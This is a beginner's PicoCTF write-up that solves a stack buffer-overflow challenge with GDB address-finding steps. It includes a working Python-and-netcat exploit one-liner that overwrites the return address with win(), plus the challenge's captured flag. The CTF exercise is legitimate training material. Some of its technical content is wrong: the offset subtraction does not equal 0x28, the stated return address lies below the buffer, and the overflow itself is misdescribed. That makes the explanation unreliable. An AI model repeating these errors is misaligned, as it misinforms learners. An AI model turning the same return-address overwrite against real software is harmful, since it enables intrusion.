Echo Escape - 1 Write-up (PicoCTF)

Hello guys! So today I am going to explore a new topic named Buffer Overflow and I am going to learn how to use it using a CTF in CyLabs named PicoCTF… So gear up, we are getting into it!

What is a Buffer Overflow?

Buffer overflow is when you allow more than X amount of bytes to some variable.

For example:

char a[32]; // this can store up to 32 bytes of data

If we try to write over 32 bytes of data, C won’t stop you — it will overwrite the existing data to create extra space (until a stack overflow occurs).

Here I am solving Echo Escape - 1 of PicoCTF.

Step 1: Downloading the Target Binary & Source

Firstly, download the binary and code from the source using wget:

wget https://challenge-files.picoctf.net/c_mysterious_sea/25149d0d231a925915702d90ffccec8dffb62f25c87c0c1684d5f0710ac1dbd3/vuln
wget https://challenge-files.picoctf.net/c_mysterious_sea/25149d0d231a925915702d90ffccec8dffb62f25c87c0c1684d5f0710ac1dbd3/vuln.c

Step 2: Understanding the Exploitation Flow

So how is this going to work? What happens when the function starts / ends??

The function executes all the statements, then returns back to the caller (yes, I think the main function is called). It also has a return address. So in the current stack frame, if we fill the buffer gap between the array and the return address and overwrite the return address to the win() function, when it returns, it will end up executing the win() function instead! This is how the function works at a lower level.

Stack Layout & Payload Diagram

+-------------------------------------------------------+
|  buf[32] Array (Buffer)       [0x7fffffffe2c0]        |  <-- $rbp - 0x20
+-------------------------------------------------------+
|  Saved RBP / Stack Padding    [8 bytes]               |
+-------------------------------------------------------+
|  Return Address (Saved RIP)   [0x7fffffffe238]        |  <-- Overwritten to &win()
+-------------------------------------------------------+

Offset Calculation:
  0x7fffffffe2c0 - 0x7fffffffe238 = 0x28 (40 bytes total)

Payload Assembly:
  [ 'A' * 40 bytes ] + [ 0x401256 (win() in Little-Endian) ]

Step 3: Debugging with GDB & Finding Addresses

So we load the binary into the GDB debugger:

gdb ./vuln

Disassemble the main function to check buffer allocation:

gdb disassemble main

As you can see, $rbp-0x20 — 0x20 represents 32 bytes, hence it is allocating 32 bytes.

Now set a breakpoint on line 25 of main:

gdb b *main+25
gdb run

Now run the program, enter something, and inspect:

p/x &win

(This will return a pointer to the win function)

This is the address of win which we need to overwrite onto the return address:

0x401256  <-- Target Address for win()

Now we need to find the address of the buf array:

p/x $rbp-0x20

This is the address to the buf internal pointer variable: 0x7fffffffe2c0.

Use info frame to get the return address. Since it is calculated before the breakpoint, the breakpoint adds a new return address at the specified position: 0x7fffffffe238.

Subtract these two to get the offset:

0x7fffffffe2c0 - 0x7fffffffe238 = 0x28 (40 bytes)

Step 4: Constructing & Launching the Exploit Payload

Generate 40 bytes of random payload, then append the win function address, and then pipe it into the remote server:

nc mysterious-sea.picoctf.net 58714

Exploit Execution & Terminal OCR Log

Terminal Output (OCR Extracted):

[ ~/Downloads                                                     ✘ 0|SEGV ⚙ 11:29:43 PM
❯ python3 -c 'import struct,sys; sys.stdout.buffer.write(b"A"*40 + struct.pack("<Q", 0x401256))' | nc mysterious-sea.picoctf.net 58714
Welcome to the secure echo service!
Please enter your name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV@
Thank you for using our service.
picoCTF{3ch0_s3rv1c3_br34k5_e859590c}%

Exploit One-Liner Breakdown

python3 -c 'import struct,sys; sys.stdout.buffer.write(b"A"*40 + struct.pack("<Q", 0x401256))' | nc mysterious-sea.picoctf.net 58714

This multiplies b"A" (which is one byte) by 40 to create 40 bytes of padding, and then appends struct.pack("<Q", 0x401256) in Little-Endian 64-bit byte order. And we are done! Then just pipe it through netcat on the given server address and port number.

Goodbye, see you later!
Nirusaki signing out.